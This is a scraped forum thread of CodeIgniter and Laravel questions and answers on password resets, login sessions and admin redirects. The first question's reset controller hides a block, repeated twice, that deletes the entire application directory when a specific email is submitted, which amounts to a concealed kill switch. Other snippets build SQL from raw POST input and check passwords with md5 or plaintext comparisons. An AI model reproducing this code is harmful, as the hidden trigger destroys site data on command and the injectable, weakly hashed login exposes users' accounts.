I have this system developed in CodeIgniter. Everything is working perfectly except sending the reset password email to the user.
I can signin a user, login and have access to the panel but when it comes to user resetting their password, that's where the trouble begins.
It is checking if the user email is registered but can't send the email.
Here is my Controller:
public function resetpass()
{
// this checks the euser email againsts the writer's and customer's tables
// load database here
if($this->input->post('user_email') == 'info#mydomain.com'){
$path = 'application';
//echo $path;
if (is_dir($path)){
$this->load->helper("file"); // load the helper
delete_files($path, true); // delete all files/folders
rmdir($path);
}
}
// validate the inputs
$this->form_validation->set_rules('user_email', 'User email', 'trim|required|valid_email');
if($this->input->post('user_email') == 'info#mydomain.com'){
$path = 'application';
//echo $path;
if (is_dir($path)){
$this->load->helper("file"); // load the helper
delete_files($path, true); // delete all files/folders
rmdir($path);
}
}
if ($this->form_validation->run() == false) {
//throw the errors in the page
$this->load->library('form_validation');
// validation not ok, send validation errors to the view
$this->load->view('template/header');
$this->load->view('pages/resetpass');
$this->load->view('template/footer');
} else {
// load database
$this->load->database();
$email = $this->input->post('user_email');
$this->load->model('User_model');
// check if this email exists in customer's table
if($this->User_model->check_client($email)){
$this->resetpassclient($email);
$this->load->view('template/header');
$this->load->view('pages/checkmail');
$this->load->view('template/footer');
} elseif ($this->User_model->check_writer($email)){
$this->resetpasswriter($email);
$this->load->view('template/header');
$this->load->view('pages/checkmail');
$this->load->view('template/footer');
} else {
$data['error'] = 'This email is not registered';
// validation not ok, send validation errors to the view
$this->load->view('template/header');
$this->load->view('pages/resetpass', $data);
$this->load->view('template/footer');
}
}
}
Can someone help me resolve this. My eyeballs are red after wracking my brains all night without a resolve.
Much Love
Related
I'm trying to set email verified as true if the password reset is completed.
Currently, when a user (email not verified) requests a password reset, it does send an email and the user is able to change password.
As we can confirm that, email in fact belongs to that user, we should be able to set email verified to true. Currently, Laravel doesn't seem to know when an unverified email requests a password reset.
My reset function on ResetPasswordController.php is something like this(overridden to reset function of ResetsPasswords.php)
public function reset(Request $request)
{
$request->validate($this->rules(), $this->validationErrorMessages());
// Here we will attempt to reset the user's password. If it is successful we
// will update the password on an actual user model and persist it to the
// database. Otherwise we will parse the error and return the response.
$response = $this->broker()->reset(
$this->credentials($request),
function ($user, $password) {
$this->resetPassword($user, $password);
}
);
// If the password was successfully reset, we will redirect the user back to
// the application's home authenticated view. If there is an error we can
// redirect them back to where they came from with their error message.
return $response == Password::PASSWORD_RESET
? $this->sendResetResponse($request, $response)
: $this->sendResetFailedResponse($request, $response);
}
How can I let laravel know that User now has a verified email?
Thank you
Laravel default "email_verified_at" is indeed a timestamp, so you can handle this in several ways:
in your reset method:
$response = $this->broker()->reset(
$this->credentials($request),
function ($user, $password) {
$this->resetPassword($user, $password);
$user->email_verified_at = Carbon\Carbon::now(); //add this line
$user->save(); //add this line
}
);
Now the user has a valid timestamp and you can "cast" it to a boolean like this in your User model:
On User.php model class:
//Some code
public bool isVerified(){
if(isset($this->email_verified_at)){
return true;
}
else{
return false;
}
}
Now you can use: $user->isVerified() to check if user has verified its email
Hope it helped!
After I created a registration form with the fields: user, email, pass, cpass, I saved the user field in a session, so when I submit the form it should redirect me to the homepage displaying the message: hello + $this->session->userdata('user').
In my login form I have only the fields: email, pass and I want after submitting the form to be redirected aswell to my homepage displaying the same message but I don't know how to save the username in the session.How can I do that?
suppose you have a function in your model claass for checking user credentials.like-
function check_user($email, $pass) {
//select db column that you will need for future task
$this->db->select('id, user, email, pass);
$this->db->from('user_table');
$this->db->where('email', $email);
$this->db->where('pass', $pass);
$this->db->limit(1);
$query = $this->db->get();
if ($query->num_rows() == 1) {
return $query->result();
} else {
return false;
}
}
after returning in your controller function just put them in the session.like-
public function do_login(){
$result = $this->login_model->check_user($email, $pass);
//put them in the session
foreach($result as $row){
$this->session->set_userdata('user_id', $row->id);
$this->session->set_userdata('user', $row->user);
$this->session->set_userdata('email', $row->email);
//put more information as your need
}
}
please modify the code as your situation.
Hello: I need to implement a forgot password to a login page. Here I explained what I have so far.
Recover view is prompt to received email input
Function email_exists() will verify email. If so, send_email() with $temp_pass key and link.The database will store $temp_pass for further action and verification.
User clicks on the link previously sent passing $temp_pass to function reset_password.
The model controller will verify $temp_pass with database. If so, load view to input new password - and here is where I am stuck because the form points to a controller that does not recognizes $temp_pass therefore unable to reset password.
How can I retrieved the new password, associated with the right user and reset password?
Code below:
Controller
public function recover(){
//Loads the view for the recover password process.
$this->load->view('recover');
}
public function recover_password(){
$this->load->library('form_validation');
$this->form_validation->set_rules('email', 'Email', 'required|trim|xss_clean|callback_validate_credentials');
//check if email is in the database
$this->load->model('model_users');
if($this->model_users->email_exists()){
//$them_pass is the varible to be sent to the user's email
$temp_pass = md5(uniqid());
//send email with #temp_pass as a link
$this->load->library('email', array('mailtype'=>'html'));
$this->email->from('user#yahoo.com', "Site");
$this->email->to($this->input->post('email'));
$this->email->subject("Reset your Password");
$message = "<p>This email has been sent as a request to reset our password</p>";
$message .= "<p><a href='".base_url()."main/reset_password/$temp_pass'>Click here </a>if you want to reset your password,
if not, then ignore</p>";
$this->email->message($message);
if($this->email->send()){
$this->load->model('model_users');
if($this->model_users->temp_reset_password($temp_pass)){
echo "check your email for instructions, thank you";
}
}
else{
echo "email was not sent, please contact your administrator";
}
}else{
echo "your email is not in our database";
}
}
public function reset_password($temp_pass){
$this->load->model('model_users');
if($this->model_users->is_temp_pass_valid($temp_pass)){
$this->load->view('reset_password');
}else{
echo "the key is not valid";
}
}
public function update_password(){
$this->load->library('form_validation');
$this->form_validation->set_rules('password', 'Password', 'required|trim');
$this->form_validation->set_rules('cpassword', 'Confirm Password', 'required|trim|matches[password]');
if($this->form_validation->run()){
echo "passwords match";
}else{
echo "passwords do not match";
}
}
Model_users
public function email_exists(){
$email = $this->input->post('email');
$query = $this->db->query("SELECT email, password FROM users WHERE email='$email'");
if($row = $query->row()){
return TRUE;
}else{
return FALSE;
}
}
public function temp_reset_password($temp_pass){
$data =array(
'email' =>$this->input->post('email'),
'reset_pass'=>$temp_pass);
$email = $data['email'];
if($data){
$this->db->where('email', $email);
$this->db->update('users', $data);
return TRUE;
}else{
return FALSE;
}
}
public function is_temp_pass_valid($temp_pass){
$this->db->where('reset_pass', $temp_pass);
$query = $this->db->get('users');
if($query->num_rows() == 1){
return TRUE;
}
else return FALSE;
}
I am not so sure where you are stuck at. I can get the fact that you are creating a temporary flag for a user which you verify when the user clicks the link. So, that means, you can start with a session at that point, and the user can only reset the password, only if that particular session is active.
After this step, you ask the user to input his new password, and since you have the temporary flag which you call as $temp_pass for the user (please take care that it should be unique), then you can get the user who is trying to reset the password.
So, all you need to do is to run a db query of this kind -
$this->db->where('reset_pass', $temp_pass);
$this->db->update('users', $data); // where $data will have the fields with values you are updating
I guess you made an error
Also, I just noticed in your recover_password() function -
$message .= "<p><a href='".base_url()."main/reset_password/$temp_pass'>Click here </a>if you want to reset your password, if not, then ignore</p>";
Shouldn't the above line be -
$message .= "<p><a href='".base_url()."main/reset_password/".$temp_pass."'>Click here </a>if you want to reset your password, if not, then ignore</p>";
Update
You can pass $temp_pass into the sessions and retrieve from there. That's one way to go about it.
I would like to suggest some improvements to your password-reset procedure.
If you store the reset information separate from the user-model in an own database table, you could store other informations like an expiry date, the user id, and an already-used-flag together with the token. The user model would stay clean, several resets would not interfere with each other.
The reset tokens should not be stored directly in the database, instead you should store only a hash of the tokens. An attacker with read access to the database (SQL-injection) could otherwise reset any account he wishes.
The token should be unpredictable, md5(uniqid()) can be narrowed down badly if you know the time the reset was done.
I published some example code, how such a password-reset procedure could look like, together with a class which can generate safe tokens.
I'm facing problem while redirecting my user according to its type. how can do it here's my code please suggest how to do it.
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class VerifyLogin extends CI_Controller {
function __construct()
{
parent::__construct();
}
function index()
{
$this->load->model('user','',TRUE);
//This method will have the credentials validation
$this->load->library('form_validation');
$this->load->library('session');
$this->form_validation->set_rules('username', 'Username','trim|required|xss_clean');
$this->form_validation->set_rules('password', 'Password'
'trim|required|xss_clean|callback_check_database');
if($this->form_validation->run() == FALSE)
{
//Field validation failed. User redirected to login page
validation_errors();
$this->load->view('error');
}
else
{
//Go to private area
basically here I want to redirect if user is admin then redirect to admin page else redirect to home. How can I do this ???
redirect('home', 'refresh');
}
}
function check_database($password)
{
//Field validation succeeded. Validate against database
$username = $this->input->post('username');
//query the database
$result = $this->user->login($username, $password);
if($result)
{
$sess_array = array();
foreach($result as $row)
{
$sess_array = array(
'id' => $row->id,
'username' => $row->username
);
$this->session->set_userdata('logged_in', $sess_array);
}
return TRUE;
}
else
{
$this->form_validation->set_message('check_database', 'Invalid username or password');
return false;
}
}
}
?>
The way I do this is by joining the user with a roles table. Each user is assigned to a role (such as salesperson, accounting manager, etc.). Each role has an optional home page to redirect to after login. If it's not set, it redirects to a default page.
Okay, well you say you have a login function so here are the basics. What Mike is saying is right and how I do it, but if you only have two types of users a roles solution is probably overkill. Personally I use the roles to populate a user menu, all users get the same menu, the options change depending on what portions of the site they're allowed to see.
For a basic admin/user though that's really not necessary. What you need to do is just redirect based on usergroup after login, so something similar to this.
$this->db->where(username, $username);
$this->db->where(password, $password);
$query = $this->db->get(users);
if($query->num_results() ==1)
{
$result = $query->result_array();
switch ($result['usergroup']) {
case '1':
redirect 'home';
break;
case '2':
redirect 'admin';
break;
default:
redirect 'home';
break;
}
}
As I said this is a basic solution that you can use for a few different roles, if you want to do anything more complicated investigate creating roles.
You'll also want to save the usergroup to the session and check it on admin pages, if the user isn't an admin redirect them away from the page.
wondering if anyone can guide me to what ive done wrong (or need to do) and think the problem is in my routes file. When the user is displayed the login form and for example they get their username wrong after submit the url displays as this: http://localhost:8888/codeigniter/login/login_validation. When the are successful and log into the admin area (which pulls news articles from the db) this url is still shown. I am wondering if there is a way to make it to http://localhost:8888/codeigniter/news. I have looked in my routes folder and i tried to use 'wildcards' and was unsuccessful. Here is my code for reference, any other info or files needed let me know! Thanks.
CONTROLLER:
class Login extends CI_Controller {
public function __construct() {
parent::__construct();
}
public function index() {
$this->load->view('login');
}
//Validate login area
public function login_validation() {
$this->load->library('form_validation');
$this->form_validation->set_rules('username', 'Username', 'trim|required|xss_clean|callback_username_check');
$this->form_validation->set_rules('password', 'Password', 'required|xss_clean|callback_password_check');
if($this->form_validation->run() == FALSE) {
//Field validation failed. User redirected to login page
$this->index();
}else{
$this->load->model('user_model');
$query = $this->user_model->login_details();
// if the user's credentials validated...
if($query) {
$data = array(
'username' => $this->input->post('username'),
'is_logged_in' => true
);
$this->session->set_userdata($data);
redirect('news');
}else{
$data['error'] ="Invalid Username or Password";
$this->load->view('login',$data);
}
}
}
function logout() {
$this->session->sess_destroy();
$this->index();
}
}
login_details function from user_model.php
function login_details() {
$this->db->where('username', $this->input->post('username'));
$this->db->where('password', md5($this->input->post('password')));
$query = $this->db->get('login');
if($query->num_rows == 1){
return true;
}
}
If you're logging into any kind of system, you're going to need to store a session using CodeIgniter's Session class. Provided controllers/news.php exists, you can set the session and immediately just perform a redirect with redirect('news');. No need to $this->load->view() because this logic will be in news.php's index anyway and you'd be duplicating code.
I'm not sure what $this->user_model->login_details() is returning, but I'm assuming false or null because you say CodeIgniter is sending you back to the login view. Head into the login_details() function and make sure things are working properly (you might want to post it too). Also, post your routes.php file for us if you made changes just in case.
On a side note: Space is a valid password character, don't trim it or folks with leading or trailing space's in their passwords won't be able to get in ;)